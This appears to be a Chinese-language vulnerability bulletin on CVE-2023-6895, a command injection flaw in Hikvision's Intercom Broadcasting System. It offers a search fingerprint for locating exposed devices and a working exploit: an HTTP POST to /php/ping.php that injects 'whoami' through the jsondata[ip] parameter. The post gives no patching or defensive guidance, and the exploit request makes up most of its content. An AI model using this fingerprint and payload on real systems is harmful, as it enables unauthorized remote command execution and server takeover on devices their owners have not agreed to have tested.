叮～你有新的速递！CVE-2023-6895 RCE漏洞（附EXP）

0x01 前言

海康威视存在RCE漏洞，该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入，执行任意命令，通过该漏洞可以获取服务器权限。

0x02 影响平台

Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)

0x03 漏洞复现

搜索语法

icon_hash="-1830859634"

页面是这个酱紫

EXP如下：

POST /php/ping.php HTTP/1.1Host:ip:portContent-Length: 45Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Origin: nullContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: nonesec-fetch-mode: navigatesec-fetch-user: ?1sec-fetch-dest: documentConnection: close
jsondata%5Btype%5D=99&jsondata%5Bip%5D=whoami